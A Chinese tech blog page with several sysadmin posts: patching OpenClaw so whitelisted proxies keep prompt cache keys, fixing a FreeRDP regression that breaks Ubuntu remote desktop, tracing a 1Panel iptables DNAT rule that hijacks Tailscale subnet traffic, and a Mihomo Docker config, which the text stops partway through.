发现新版 OpenClaw 小龙虾又不触发缓存了，发个解决办法！
[post cid="958" /] 书接上文 更新到 2026.4.8 / 2026.4.9 这一批版本之后，发现缓存又不触发了。跟上次 3 月那波（#49877）原因类似，但代码结构变了，之前那个改 shouldStripResponsesPromptCache(model) 单函数的补丁已经不管用了，这里写一下新版的改法。 修复前： 发往代理的请求里，prompt_cache_key 被 OpenClaw 剥掉 上游虽然支持缓存，但打不中 cache_tokens 长时间是 0 修复后： 白名单代理保留 prompt_cache_key OpenAI-compatible proxy 正常往上游透传缓存键 缓存正常命中 适用场景： 你用的是 openai-responses 链路是 OpenClaw -> new-api / CPA / 自建 proxy / 其他 OpenAI-compatible proxy -> 上游 OpenAI / Codex 升级之后 prompt cache 基本不触发 你想做的是只对白名单代理保留 prompt_cache_key，不是全局关闭兼容逻辑 适用版本：OpenClaw 2026.4.8、2026.4.9 以及附近这一批。这批版本的特征是 dist 里有 provider-attribution-*.js 和 openai-responses-payload-policy-*.js，跟之前不一样。 一、根因 这批新版对 openai-responses 做了更细的请求策略判断。 只要 OpenClaw 认定你走的不是官方 OpenAI 直连、不是 Azure OpenAI 直连，而是代理 / proxy-like endpoint，就会把 prompt_cache_key 和 prompt_cache_retention 从请求里删掉。 这个逻辑本身是为了避免某些第三方兼容接口不认识这两个字段报错。但如果你的代理实际上是转发到真实 OpenAI / Codex 的，比如本地 new-api、CPA、自建 proxy，缓存就被一起干掉了。 二、具体改哪个文件 1) 找 dist 目录 全局安装的话，通常在： /usr/lib/node_modules/openclaw/dist/ $(npm root -g)/openclaw/dist/ if [ -d /usr/lib/node_modules/openclaw/dist ]; then DIST=/usr/lib/node_modules/openclaw/dist else DIST="$(npm root -g)/openclaw/dist" fi printf 'DIST=%s\n' "$DIST" 2) 不要再只搜旧函数名 这批版本的逻辑拆成了两部分： provider-attribution-*.js — 算出 shouldStripResponsesPromptCache openai-responses-payload-policy-*.js — 执行 delete payloadObj.prompt_cache_key 搜索方式： grep -RIl 'shouldStripResponsesPromptCache:' "$DIST" grep -RIl 'delete payloadObj.prompt_cache_key' "$DIST" 或者直接： grep -RIl 'prompt_cache_key' "$DIST" 3) 要改的是哪个 改 provider-attribution-*.js，就是判定逻辑所在的那个。另一个 openai-responses-payload-policy-*.js 是执行删除的，只用来确认链路，不建议直接改。 你那边 bundle 文件名和我的大概率不一样，以 grep 结果为准，不要改 .bak 备份文件。 三、具体怎么改 当前的核心判断 shouldStripResponsesPromptCache: api !== void 0 && OPENAI_RESPONSES_APIS.has(api) && policy.usesExplicitProxyLikeEndpoint 就是只要是 openai-responses 且 baseUrl 被判断成代理，就剥掉 prompt_cache_key。 改法 不全局关掉这个逻辑，而是加白名单。白名单里的代理保留 prompt_cache_key，其他的继续走原来的 strip。 在 provider-attribution-*.js 里加白名单常量： const RESPONSES_PROMPT_CACHE_ALLOWLIST_BASE_URLS = new Set([ "http://127.0.0.1:13000/v1", "http://localhost:13000/v1", "https://api.lp1.net/v1" ]); const RESPONSES_PROMPT_CACHE_ALLOWLIST_HOSTS = new Set([ "api.lp1.net" ]); 加一个判断函数： function shouldPreserveResponsesPromptCache(baseUrl) { const normalizedBaseUrl = normalizeComparableBaseUrl(baseUrl); if ( normalizedBaseUrl && RESPONSES_PROMPT_CACHE_ALLOWLIST_BASE_URLS.has(normalizedBaseUrl) ) return true; const hostname = resolveUrlHostname(baseUrl); return hostname !== void 0 && RESPONSES_PROMPT_CACHE_ALLOWLIST_HOSTS.has(hostname); } 把原来的判断改成： shouldStripResponsesPromptCache: api !== void 0 && OPENAI_RESPONSES_APIS.has(api) && policy.usesExplicitProxyLikeEndpoint && !shouldPreserveResponsesPromptCache(input.baseUrl) 改动很小，只改了判定条件，不碰删除实现，对官方 OpenAI / Azure OpenAI 没有影响，没进白名单的代理也不受影响。 白名单填什么 放精确 baseUrl 和精确 host 就行，比如： http://127.0.0.1:13000/v1 http://localhost:13000/v1 https://api.lp1.net/v1 api.lp1.net 如果想从配置里自动提取候选，可以跑： node <<'NODE' const fs = require("fs"); const p = `${process.env.HOME}/.openclaw/openclaw.json`; const data = JSON.parse(fs.readFileSync(p, "utf8")); const providers = data?.models?.providers ?? {}; for (const [name, cfg] of Object.entries(providers)) { if (cfg?.api !== "openai-responses") continue; if (typeof cfg?.baseUrl !== "string" || !cfg.baseUrl.trim()) continue; try { const u = new URL(cfg.baseUrl); const host = u.hostname.toLowerCase(); if (host === "api.openai.com" || host.endsWith(".openai.azure.com")) continue; console.log(`${name}\t${u.toString().replace(/\/+$/, "")}\t${host}`); } catch {} } NODE 扫出来确认之后填进上面两个 Set 就行。 四、修改步骤 1) 定位文件 if [ -d /usr/lib/node_modules/openclaw/dist ]; then DIST=/usr/lib/node_modules/openclaw/dist else DIST="$(npm root -g)/openclaw/dist" fi grep -RIl 'shouldStripResponsesPromptCache:' "$DIST" 一般会拿到一个 $DIST/provider-attribution-XXXXXX.js。 2) 备份 cp -p "$DIST/provider-attribution-XXXXXX.js" \ "$DIST/provider-attribution-XXXXXX.js.bak.$(date +%F-%H%M%S)" 3) 编辑 打开 grep 找到的那个文件，加 allowlist 常量、shouldPreserveResponsesPromptCache 函数、改判定条件。 4) 重启验证 openclaw gateway restart openclaw health 再看看服务状态： systemctl --user status openclaw-gateway.service --no-pager journalctl --user -u openclaw-gateway.service -n 50 --no-pager 5) 确认缓存 看你的 new-api / CPA / 自建代理日志，确认重新出现 prompt_cache_key 和 cache_tokens > 0。如果代理会打印请求体，能直接看到 prompt_cache_key 有没有保留下来。 五、懒得手动找文件的话，直接把这段发给自家 OpenClaw 你帮我修一个 OpenClaw 的本地缓存兼容问题。 目标： - 我现在的 OpenClaw 升级后，会把发往 OpenAI-compatible proxy 的 `prompt_cache_key` 剥掉，导致 prompt cache 基本不触发。 - 请你在本机全局安装的 OpenClaw dist 文件里，找到当前版本真正负责 `shouldStripResponsesPromptCache` 的 bundle 逻辑。 - 对我指定的代理 baseUrl / host 做白名单放行，让这些代理不要再被 strip `prompt_cache_key`。 请按以下步骤做： 1. 先定位 OpenClaw 的实际 dist 目录： - 优先看 `/usr/lib/node_modules/openclaw/dist` - 如果没有，再看 `$(npm root -g)/openclaw/dist` 2. 在 dist 目录中搜索： - `shouldStripResponsesPromptCache:` - `delete payloadObj.prompt_cache_key` 3. 找到包含判断逻辑的真实 bundle 文件： - 优先改 `provider-attribution-*.js` - 不要改 `.bak` 备份文件 4. 先备份该文件。 5. 从 `~/.openclaw/openclaw.json` 读取 provider 配置，把： - `models.providers.*` - 且 `api = openai-responses` - 且 `baseUrl` 不是官方 OpenAI / Azure OpenAI 的 provider baseUrl 自动整理出来，作为 allowlist 候选。 6. 做最小修改： - 增加 allowlist baseUrl / host 常量 - 增加 `shouldPreserveResponsesPromptCache(baseUrl)` - 仅把 `shouldStripResponsesPromptCache` 的判定改成： `... && !shouldPreserveResponsesPromptCache(input.baseUrl)` 7. 修改完成后： - `openclaw gateway restart` - `openclaw health` 8. 最后告诉我： - 你改了哪个文件 - 你放行了哪些 baseUrl / host - 是否重启成功 - health 是否正常 注意事项： - 只做最小修改，不要顺手改别的逻辑 - 目标是"对白名单代理保留 `prompt_cache_key`"，不是全局关闭 strip 逻辑 - 如果 bundle 文件名和当前版本不同，以实际 grep 结果为准 - 如果找不到相关逻辑，就把搜索结果告诉我，不要瞎改 六、补充 这个补丁不是要把新版的兼容保护全关掉。做法就是保留默认逻辑，只对你自己确认支持缓存的代理加白名单放行。后续 OpenClaw 每次更新可能还会改文件结构，但思路不变：grep 找到判断 strip 的位置，加白名单，重启就行。 另外 OpenClaw 上游已经有人提了 PR（#52017），如果后面合进去了就不用再手打补丁了。
发现新版OpenClaw小龙虾不触发缓存了，发个解决办法！
众所周知，openclaw是token吞金兽。虽然现在gpt调用几乎是免费的，但是可能也有些朋友使用其他api渠道或者没有自己的号池在使用各家中转站。如果没办法正确的调通缓存触发，会让token的使用成本超超超级加倍！关乎钱包的问题必须马上折腾明白。 今天更新了3.23-1和3.23-2版本之后，发现缓存触发果然出问题了，解决思路如下： 修复前： 修复后： 适用场景： 你用的是 openai-responses 链路是 OpenClaw -> CPA/new-api/其他 OpenAI-compatible proxy -> 上游 OpenAI/Codex 升级到 2026.3.22+ / 2026.3.23+ 后，发现 prompt cache 基本不触发，cache_tokens 大量变成 0 一、根因 OpenClaw 在 2026-03-19 合入了这条逻辑： PR #49877 标题：fix: strip prompt_cache_key for non-OpenAI openai-responses endpoints 也就是： 如果 baseUrl 不是官方 OpenAI / Azure OpenAI OpenClaw 会把 prompt_cache_key 和 prompt_cache_retention 从请求里剥掉 这能避免某些第三方兼容接口报错，但会误伤实际上 支持 prompt cache 的 OpenAI-compatible proxy。 例如： 本地 new-api CLIProxyAPI 各种转发到真实 OpenAI / Codex 的代理 二、具体改哪个文件 1) 优先找实际安装目录 如果你是全局安装（npm -g / pnpm -g），通常 OpenClaw 会在类似下面的位置： /usr/lib/node_modules/openclaw/dist/ 或者： $(npm root -g)/openclaw/dist/ 2) 目标文件不是固定文件名，但目标函数名固定 需要找包含这个函数的 dist bundle： grep -RIl 'function shouldStripResponsesPromptCache(model)' /usr/lib/node_modules/openclaw/dist 如果是 npm 全局安装但不在 /usr/lib/node_modules，可以用： grep -RIl 'function shouldStripResponsesPromptCache(model)' "$(npm root -g)/openclaw/dist" 3) 我这台机器上命中的文件是 /usr/lib/node_modules/openclaw/dist/pi-embedded-CbCYZxIb.js 注意：你那边文件名可能不一样，以 grep 找到的实际文件为准。 三、具体怎么改 原始代码 找到这个函数： function shouldStripResponsesPromptCache(model) { if (typeof model.api !== "string" || !OPENAI_RESPONSES_APIS.has(model.api)) return false; if (typeof model.baseUrl !== "string" || !model.baseUrl.trim()) return false; return !isDirectOpenAIBaseUrl(model.baseUrl); } 最小修复版（手动放行指定代理） 如果你要放行自己的代理，比如： 127.0.0.1:13000 localhost:13000 my-proxy.example.com 可以改成： function shouldStripResponsesPromptCache(model) { if (typeof model.api !== "string" || !OPENAI_RESPONSES_APIS.has(model.api)) return false; if (typeof model.baseUrl !== "string" || !model.baseUrl.trim()) return false; if ( model.baseUrl.includes("127.0.0.1:13000") || model.baseUrl.includes("localhost:13000") || model.baseUrl.includes("my-proxy.example.com") ) return false; return !isDirectOpenAIBaseUrl(model.baseUrl); } 我实际给本机打的最小补丁 function shouldStripResponsesPromptCache(model) { if (typeof model.api !== "string" || !OPENAI_RESPONSES_APIS.has(model.api)) return false; if (typeof model.baseUrl !== "string" || !model.baseUrl.trim()) return false; if (model.baseUrl.includes("127.0.0.1:13000") || model.baseUrl.includes("localhost:13000")) return false; return !isDirectOpenAIBaseUrl(model.baseUrl); } 四、修改步骤（手动版） 1) 备份目标文件 cp /usr/lib/node_modules/openclaw/dist/pi-embedded-*.js /usr/lib/node_modules/openclaw/dist/pi-embedded-backup-$(date +%s).js 更稳一点：先用 grep 定位具体文件后再备份。 2) 编辑目标文件 用你习惯的编辑器打开 grep 找到的那个 js 文件，把上面的函数替换掉。 3) 重启 gateway openclaw gateway restart 4) 验证 openclaw health 然后再看你的 new-api / CPA 日志，确认是否重新出现： channel_affinity key_fp key_path: prompt_cache_key cache_tokens > 0 五、给懒得手动找文件的人：可直接发给自家 OpenClaw 的提示词 把下面这段直接发给自己的 OpenClaw，让它自己尝试定位并修改： 你帮我修一个 OpenClaw 的本地缓存兼容问题。 目标： - 我现在的 OpenClaw 升级后，会把发往 OpenAI-compatible proxy 的 `prompt_cache_key` 剥掉，导致 prompt cache 基本不触发。 - 请你在本机全局安装的 OpenClaw dist 文件里，找到 `shouldStripResponsesPromptCache(model)` 这个函数。 - 对我指定的代理 baseUrl / host 做白名单放行，让这些代理**不要再被 strip `prompt_cache_key`**。 请按以下步骤做： 1. 先定位 OpenClaw 的实际 dist 目录： - 优先看 `/usr/lib/node_modules/openclaw/dist` - 如果没有，再看 `$(npm root -g)/openclaw/dist` 2. 在 dist 目录中搜索： - `function shouldStripResponsesPromptCache(model)` 3. 找到包含该函数的真实 bundle 文件（不要改 `.bak` 备份文件）。 4. 先备份该文件。 5. 把这个函数： function shouldStripResponsesPromptCache(model) { if (typeof model.api !== "string" || !OPENAI_RESPONSES_APIS.has(model.api)) return false; if (typeof model.baseUrl !== "string" || !model.baseUrl.trim()) return false; return !isDirectOpenAIBaseUrl(model.baseUrl); } 改成带白名单放行的版本。 我希望放行这些代理（你按实际变量生成 OR 条件）： - 127.0.0.1:13000 - localhost:13000 - 以及我 OpenClaw 配置里 `models.providers.*` 中所有 `api = openai-responses` 且 `baseUrl` 不是官方 OpenAI/Azure OpenAI 的 provider baseUrl 也就是说： - 先从 `~/.openclaw/openclaw.json` 读取 provider 配置 - 自动把符合条件的 baseUrl 也加进白名单 6. 修改完成后： - 重启 gateway：`openclaw gateway restart` - 跑 `openclaw health` 7. 最后告诉我： - 你改了哪个文件 - 你放行了哪些 baseUrl/host - 是否重启成功 - health 是否正常 注意事项： - 只做最小修改，不要顺手改别的逻辑 - 目标是“对白名单代理保留 `prompt_cache_key`”，不是全局关闭 strip 逻辑 - 如果 bundle 文件名和当前版本不同，以实际 grep 结果为准 - 如果找不到函数，就把搜索结果告诉我，不要瞎改 六、补充说明 为什么不要直接全局禁用 strip？ 因为有些第三方接口确实会因为 prompt_cache_key 报 400。 所以更稳的方式是： 只对白名单代理放行 其他非 OpenAI 端点仍保持原逻辑 更理想的上游方案 OpenClaw 已经有人提 PR： #52017 fix(agents): add supportsPromptCache compat opt-in for third-party OpenAI proxies 如果这个 PR 后面合并了，理论上未来就不需要手打这种 dist 补丁了。 七、最短结论 如果你用的是： OpenClaw openai-responses 中间走本地/第三方 OpenAI-compatible proxy 升级后缓存突然不命中 那就去找： shouldStripResponsesPromptCache(model) 并对白名单代理加一句： if (model.baseUrl.includes("你的代理地址")) return false; 然后重启 gateway 即可。
Ubuntu 25.10 系统远程桌面RDP突然失效，最终定位到 FreeRDP 安全回归
最近在一台 Ubuntu 25.10 虚拟机上遇到一个比较坑的情况：系统自带远程桌面明明开着，3389 也在监听，但windows rdp客户端连接后还是黑屏、闪断，或者认证后立刻断开。 这类问题表面像是“网络不通”或者“密码不对”，实际根因在更底层：gnome-remote-desktop 依赖的 FreeRDP/WinPR 运行时库出了安全更新回归。 现象 系统设置里远程桌面已开启 gnome-remote-desktop.service 处于运行状态 3389 正在监听 客户端能发起连接，但会黑屏、断开，或者认证后被踢回 排查时日志里能看到这类报错： client disconnected during the handover Unexpected client message in state CONNECTION_STATE_FINALIZATION_FONT_LIST SetEvent: hEvent is not an event corrupted size vs. prev_size client authentication failure nla_recv() error: -1 这些日志很容易误导人。看起来像认证失败，其实很多时候是后面的会话接管或者用户态服务已经崩了，前面的连接层只能以“认证失败”或“连接被重置”的形式表现出来。 原理 GNOME 自带 RDP 不是单进程直连桌面的简单模型，它大致是两段式： RDP 客户端 -> system 级 gnome-remote-desktop 监听 3389 -> handover / 重定向 -> user 级 gnome-remote-desktop 接管会话，监听 3391 -> 进入真实 GNOME 会话 所以只看 3389 在不在，并不能说明整条链路是好的。 另外，虽然这里用的是 GNOME 自带远程桌面，但底层 RDP 协议栈依赖的是： libfreerdp3-3 libfreerdp-server3-3 libwinpr3-3 也就是说，就算没有单独装 FreeRDP 客户端，只要用 GNOME 自带 RDP，这几组库的更新回归一样会直接影响远程桌面。 故障点 本机最终确认下来的版本情况是： gnome-remote-desktop 49.0-0ubuntu1.1 gnome-settings-daemon 49.0-1ubuntu3.1 libfreerdp3-3 3.16.0+dfsg-2ubuntu0.3 libfreerdp-server3-3 3.16.0+dfsg-2ubuntu0.3 libwinpr3-3 3.16.0+dfsg-2ubuntu0.3 继续查 apt changelog libfreerdp3-3 后，发现官方已经发布了： 3.16.0+dfsg-2ubuntu0.4 而且 changelog 里明确写了，这是在处理 .3 引入的安全回归，核心信息是： SECURITY REGRESSION: crash with realloc(): invalid next size 这和本机用户态 gnome-remote-desktop 日志里的： SetEvent: hEvent is not an event corrupted size vs. prev_size 是能对上的。简单说就是：.3 这组安全更新把 GNOME 自带 RDP 依赖的运行时库弄出了新问题，导致会话接管阶段异常甚至崩溃；.4 则把有问题的补丁先撤掉了。 最小修复办法 不需要整机 full-upgrade，也不需要重装桌面环境，直接把相关运行库升到 .4 即可： sudo apt update sudo apt install -y libfreerdp3-3 libfreerdp-server3-3 libwinpr3-3 升级后重启 GNOME 自带远程桌面的 system/user 两条服务链路： sudo systemctl daemon-reload systemctl --user daemon-reload sudo systemctl restart gnome-remote-desktop.service systemctl --user restart gnome-remote-desktop.service 修复后应该看到什么 先确认版本已经上来： dpkg -l | rg 'gnome-remote-desktop|gnome-settings-daemon|libfreerdp3-3|libfreerdp-server3-3|libwinpr3-3' 正常情况下应该能看到： libfreerdp3-3 3.16.0+dfsg-2ubuntu0.4 libfreerdp-server3-3 3.16.0+dfsg-2ubuntu0.4 libwinpr3-3 3.16.0+dfsg-2ubuntu0.4 再确认两层监听都在： sudo ss -ltnp '( sport = :3389 or sport = :3391 )' 预期是： 3389 由 system 级 gnome-remote-desktop 监听 3391 由 user 级 gnome-remote-desktop 监听 这时再重新发起 RDP 连接，通常就恢复正常了。 总结 这次问题的核心不是“远程桌面没开”，也不是“客户端不兼容”，而是： GNOME 自带 RDP 实际上依赖 FreeRDP/WinPR 3.16.0+dfsg-2ubuntu0.3 引入了安全回归 回归会在 handover 和用户会话接管阶段表现成黑屏、闪断、认证后断开 升级到 3.16.0+dfsg-2ubuntu0.4 后恢复正常 如果你在 Ubuntu 25.10 上遇到“自带远程桌面已开启、3389 在监听，但就是连不上”的情况，优先检查这几个包的版本，而不是先怀疑网络、账户或者客户端。 参考 Ubuntu Launchpad Bug #2141992 https://bugs.launchpad.net/ubuntu/+source/gnome-remote-desktop/+bug/2141992 Ubuntu Launchpad Bug #2122660 https://bugs.launchpad.net/bugs/2122660 Questing 的 libfreerdp3-3 发布记录 https://launchpad.net/ubuntu/questing/amd64/libfreerdp3-3
记一次诡异的 Tailscale 子网路由劫持：当 Ping 能通但 TCP 端口死活连不上
📌 1. 问题背景与网络拓扑 最近在调整多节点网络，使用了 Tailscale 组网，并在一台内网的 Ubuntu 服务器上开启了 Subnet Router（子网路由），以便身在外地时能直接通过本地 IP 访问内网设备。 当前的网络拓扑： 外网设备（Windows）： Tailscale 虚拟 IP 100.116.47.82 网关节点（Ubuntu）： 局域网 IP 192.168.31.177 （开启了 Tailscale Subnet Router，开启了内核转发，装有 1Panel 面板和多个 Docker 容器） 目标服务器： 局域网 IP 192.168.31.220 （内网另一台机器，运行着 PostgreSQL 数据库，端口 5432） 核心诉求： 在 Windows 上通过 Tailscale 隧道，直连 192.168.31.220:5432。 👻 2. 诡异的半残网络现象 在配置好一切后，遇到了一个极其反直觉的现象： ICMP 畅通： 在 Windows 上 Ping 192.168.31.220，完美连通，延迟仅 5ms。说明 Tailscale 隧道和底层的三层路由毫无问题。 网关到目标畅通： 在 Ubuntu (177) 本机用 nc -zv 192.168.31.220 5432 测试，返回 open。说明 220 目标服务器的防火墙和数据库配置正常。 TCP 业务瘫痪： 在 Windows 上用客户端连接 220 的 5432 端口，死活连不上（超时）。 初步抓包诊断： 在 Ubuntu (177) 上执行 tcpdump -i any host 192.168.31.220 and port 5432 -nn，发现只有从 tailscale0 进来的包 (In)，没有任何发往物理网卡的包 (Out)。 阶段性结论： 数据包安全到达了 177 网关，但被 177 的内部网络栈“私吞”了，未能进入 FORWARD（转发）流程。 🕵️‍♂️ 3. 排查深入：内核级“天眼”追踪 既然常规的放行规则（在 FORWARD 链首部强行 ACCEPT）无效，说明包死在了更靠前的位置。为了不靠猜排错，我决定利用 iptables -j LOG 在 Linux Netfilter 的 6 个核心关卡埋下日志探头，追踪这个 TCP 包的完整生命周期。 执行部署探头命令： # 1. 刚接触到网卡，最原始的状态 (raw 表) sudo iptables -t raw -I PREROUTING 1 -p tcp -s 100.116.47.82 -j LOG --log-prefix "S1-RAW-PRE: " # 2. 准备被修改标记 (mangle 表) sudo iptables -t mangle -I PREROUTING 1 -p tcp -s 100.116.47.82 -j LOG --log-prefix "S2-MGL-PRE: " # 3. 准备被劫持或映射 (nat 表) sudo iptables -t nat -I PREROUTING 1 -p tcp -s 100.116.47.82 -j LOG --log-prefix "S3-NAT-PRE: " # 4. 意外关卡：如果包被劫持给本机，会进入 INPUT 链 sudo iptables -I INPUT 1 -p tcp -s 100.116.47.82 -j LOG --log-prefix "S-X-INPUT: " # 5. 正常进入转发通道 (FORWARD 链) sudo iptables -I FORWARD 1 -p tcp -s 100.116.47.82 -j LOG --log-prefix "S4-FORWARD: " # 6. 即将离开物理网卡发往目标 (POSTROUTING 链) sudo iptables -t nat -I POSTROUTING 1 -p tcp -s 100.116.47.82 -j LOG --log-prefix "S5-NAT-POST: " 随后在 Windows 上再次发起 5432 端口的连接请求，然后在 Ubuntu 提取过滤后的内核日志： sudo dmesg -T | grep -E "S1|S2|S3|S4|S5|S-X" | grep "DPT=5432" | tail -n 6 提取到的震撼日志： [四 2月 26 21:58:22 2026] S1-RAW-PRE: SRC=100.116.47.82 DST=192.168.31.220 DPT=5432 [四 2月 26 21:58:22 2026] S2-MGL-PRE: SRC=100.116.47.82 DST=192.168.31.220 DPT=5432 [四 2月 26 21:58:22 2026] S3-NAT-PRE: SRC=100.116.47.82 DST=192.168.31.220 DPT=5432 [四 2月 26 21:58:22 2026] S4-FORWARD: SRC=100.116.47.82 DST=192.168.31.247 DPT=5432 [四 2月 26 21:58:22 2026] S5-NAT-POST: SRC=100.116.47.82 DST=192.168.31.247 DPT=5432 日志判断依据与分析： 包在 S1、S2、S3 阶段，目标地址 (DST) 一直都是我预期的 192.168.31.220。 但是当包走到 S4-FORWARD（进入转发通道）时，DST 突然变成了 192.168.31.247！ 铁证如山： 存在一个极度隐蔽的 DNAT（目标地址转换） 规则，在 PREROUTING 链的尾部强行把我去往 220 的数据包，篡改地址发送给了局域网里的另一台机器（247）。 这也解释了为什么 Ping 能通： 因为这个劫持者只对 TCP 5432 端口感兴趣，ICMP 协议的 Ping 包得以幸免，原路走完了正常转发流程。 💥 4. 揪出元凶：1Panel 端口转发的“贪婪”逻辑 顺藤摸瓜，我直接搜查 nat 表中所有的 DNAT 规则： sudo iptables -t nat -S | grep -E "DNAT|REDIRECT" 结果抓到了 1Panel 面板 生成的一批端口转发规则： -A 1PANEL_PREROUTING -p tcp -m tcp --dport 3308 -j DNAT --to-destination 192.168.31.131:3306 -A 1PANEL_PREROUTING -p tcp -m tcp --dport 5432 -j DNAT --to-destination 192.168.31.247:5432 ... 这条规则翻译成人类语言是：“只要经过我这台机器的 TCP 包，目标端口是 5432 的，一律改写目标 IP 为 247。” 它缺少了一个极其重要的限定条件：限定目标 IP 必须是本机。 作为对比，同机器上的 Docker 端口映射规则是这样的： -A DOCKER ! -i docker0 -p tcp -m tcp --dport 3306 -j DNAT ... 在这之前，Docker 会通过 ADDRTYPE match dst-type LOCAL 进行总闸拦截，确保只有访问宿主机本身的流量才会被 DNAT，完美避开了路过的路由流量。 1Panel 这种“裸奔”的规则，导致充当网关的 177 把所有 Subnet 子网内同名端口的流量全部无差别“绑架”了。 🛠️ 5. 修复过程 直接删除规则会导致原本的端口转发功能失效。为了既满足“访问 177 转发到 247”，又不影响“路过 177 去 220”，我编写了一段 Shell 脚本。 它的逻辑是读取 1Panel 生成的每一条缺陷 DNAT 规则，将其删除，并原地替换为带有 -m addrtype --dst-type LOCAL 的完美限制版本： sudo iptables-save | grep 'A 1PANEL_PREROUTING' | grep DNAT | while read -r line; do # 提取原始端口和目标地址 port=$(echo "$line" | grep -oP -- '--dport \K\d+') dest=$(echo "$line" | grep -oP -- '--to-destination \K\S+') # 1. 拆除 1Panel 贪婪的旧规则 sudo iptables -t nat -D 1PANEL_PREROUTING -p tcp -m tcp --dport $port -j DNAT --to-destination $dest # 2. 插入带 LOCAL 限制的新规则 sudo iptables -t nat -A 1PANEL_PREROUTING -p tcp -m tcp --dport $port -m addrtype --dst-type LOCAL -j DNAT --to-destination $dest echo "✅ 已修复端口 $port 的转发规则 (目标: $dest)" done 最后，一键拆除之前部署的所有日志探头： sudo iptables -t raw -D PREROUTING -p tcp -s 100.116.47.82 -j LOG --log-prefix "S1-RAW-PRE: " sudo iptables -t mangle -D PREROUTING -p tcp -s 100.116.47.82 -j LOG --log-prefix "S2-MGL-PRE: " sudo iptables -t nat -D PREROUTING -p tcp -s 100.116.47.82 -j LOG --log-prefix "S3-NAT-PRE: " sudo iptables -D INPUT -p tcp -s 100.116.47.82 -j LOG --log-prefix "S-X-INPUT: " sudo iptables -D FORWARD -p tcp -s 100.116.47.82 -j LOG --log-prefix "S4-FORWARD: " sudo iptables -t nat -D POSTROUTING -p tcp -s 100.116.47.82 -j LOG --log-prefix "S5-NAT-POST: " 💡 6. 避坑总结 ICMP 与 TCP 的差别待遇：网络排错时，Ping 能通只代表底层的三层路由没问题，不代表上层协议没在 nat 或 mangle 表被劫持。 警惕透明代理与面板转发：把装有 1Panel、宝塔或软路由代理（如 Mihomo/Clash）的机器作为 Subnet 网关时，极易发生 PREROUTING 链的连环翻车。1Panel 现有的端口转发逻辑对做网关的机器非常不友好。 定位永远比瞎猜重要：利用 iptables -j LOG 在内核各个 Hook 点打日志，是解决 Linux 复杂网络迷路问题的快速分析定位思路。
Docker 部署 Mihomo (Clash Meta) 核心 + WebUI 指南
流程概览 前言 Mihomo（原名 Mihomo Meta，亦即 Clash Meta）是目前 Clash 核心最活跃、功能最强大的分支。由于原始 Clash 项目删库，Mihomo 已成为各平台客户端的首选核心。 值得注意的是，Mihomo 本身是一个纯命令行程序（Core），没有图形界面。为了方便日常管理和监控，我们需要为其搭配一个 Web UI（如 Metacubexd）。本文将详细介绍如何在 Docker 环境（包括 Linux 服务器、NAS、飞牛OS等）中优雅地部署 Mihomo + WebUI，并开启 TUN 模式实现更接管更底层的流量。 准备工作 在开始之前，请确保您的环境满足以下条件： Docker 环境：已安装 Docker 及 Docker Compose。 基础知识：熟悉基本的命令行操作（创建文件夹、编辑文件）。 网络环境：拥有可用的节点订阅链接。 第一步：编写配置文件 (config.yaml) Mihomo 的运行核心在于配置文件。我们需要先在宿主机上准备好这个文件。 新建一个文件夹，命名为 mihomo。 在其中创建一个名为 config.yaml 的文件。 参考以下模板填入内容。 ⚠️ 重点修改提示： 请务必修改下方模板中的 第 7 行（API访问密钥）、第 20、21 行（节点订阅信息）与 第 26 行（节点名称前缀）。修改时请去掉尖括号 < >。 mixed-port: 7890 allow-lan: true bind-address: '*' mode: rule log-level: info external-controller: '0.0.0.0:9090' secret: "<API访问密钥>" tun: enable: false stack: mixed dns-hijack: - "any:53" - "tcp://any:53" auto-route: true auto-redirect: true auto-detect-interface: true proxy-providers: <节点提供者名称>: url: "<节点订阅链接>" type: http interval: 86400 health-check: {enable: true,url: "https://www.gstatic.com/generate_204", interval: 300} override: additional-prefix: "<节点名称前缀>" proxies: - name: "直连" type: direct udp: true geodata-mode: true geox-url: geoip: "https://github.com/MetaCubeX/meta-rules-dat/releases/download/latest/geoip.dat" geosite: "https://github.com/MetaCubeX/meta-rules-dat/releases/download/latest/geosite.dat" mmdb: "https://github.com/MetaCubeX/meta-rules-dat/releases/download/latest/country-lite.mmdb" asn: "https://github.com/MetaCubeX/meta-rules-dat/releases/download/latest/GeoLite2-ASN.mmdb" dns: enable: true ipv6: true respect-rules: true enhanced-mode: fake-ip fake-ip-filter: - "*" - "+.lan" - "+.local" - "+.market.xiaomi.com" nameserver: - https://120.53.53.53/dns-query - https://223.5.5.5/dns-query proxy-server-nameserver: - https://120.53.53.53/dns-query - https://223.5.5.5/dns-query nameserver-policy: "geosite:cn,private": - https://120.53.53.53/dns-query - https://223.5.5.5/dns-query "geosite:geolocation-!cn": - "https://dns.cloudflare.com/dns-query" - "https://dns.google/dns-query" proxy-groups: - name: 默认 type: select proxies: [自动选择,直连,香港,台湾,日本,新加坡,美国,其它地区,全部节点] - name: Google type: select proxies: [默认,香港,台湾,日本,新加坡,美国,其它地区,全部节点,自动选择,直连] - name: Telegram type: select proxies: [默认,香港,台湾,日本,新加坡,美国,其它地区,全部节点,自动选择,直连] - name: Twitter type: select proxies: [默认,香港,台湾,日本,新加坡,美国,其它地区,全部节点,自动选择,直连] - name: 哔哩哔哩 type: select proxies: [默认,香港,台湾,日本,新加坡,美国,其它地区,全部节点,自动选择,直连] - name: 巴哈姆特 type: select proxies: [默认,香港,台湾,日本,新加坡,美国,其它地区,全部节点,自动选择,直连] - name: YouTube type: select proxies: [默认,香港,台湾,日本,新加坡,美国,其它地区,全部节点,自动选择,直连] - name: 海外AI type: select proxies: [默认,香港,台湾,日本,新加坡,美国,其它地区,全部节点,自动选择,直连] - name: NETFLIX type: select proxies: [默认,香港,台湾,日本,新加坡,美国,其它地区,全部节点,自动选择,直连] - name: Spotify type: select proxies: [默认,香港,台湾,日本,新加坡,美国,其它地区,全部节点,自动选择,直连] - name: Github type: select proxies: [默认,香港,台湾,日本,新加坡,美国,其它地区,全部节点,自动选择,直连] - name: 国内 type: select proxies: [直连,默认,香港,台湾,日本,新加坡,美国,其它地区,全部节点,自动选择] - name: 其他 type: select proxies: [默认,香港,台湾,日本,新加坡,美国,其它地区,全部节点,自动选择,直连] #分隔,下面是地区分组 - name: 香港 type: select include-all: true filter: "(?i)港|hk|hongkong|hong kong" - name: 台湾 type: select include-all: true filter: "(?i)台|tw|taiwan" - name: 日本 type: select include-all: true filter: "(?i)日|jp|japan" - name: 美国 type: select include-all: true filter: "(?i)美|us|unitedstates|united states" - name: 新加坡 type: select include-all: true filter: "(?i)(新|sg|singapore)" - name: 其它地区 type: select include-all: true filter: 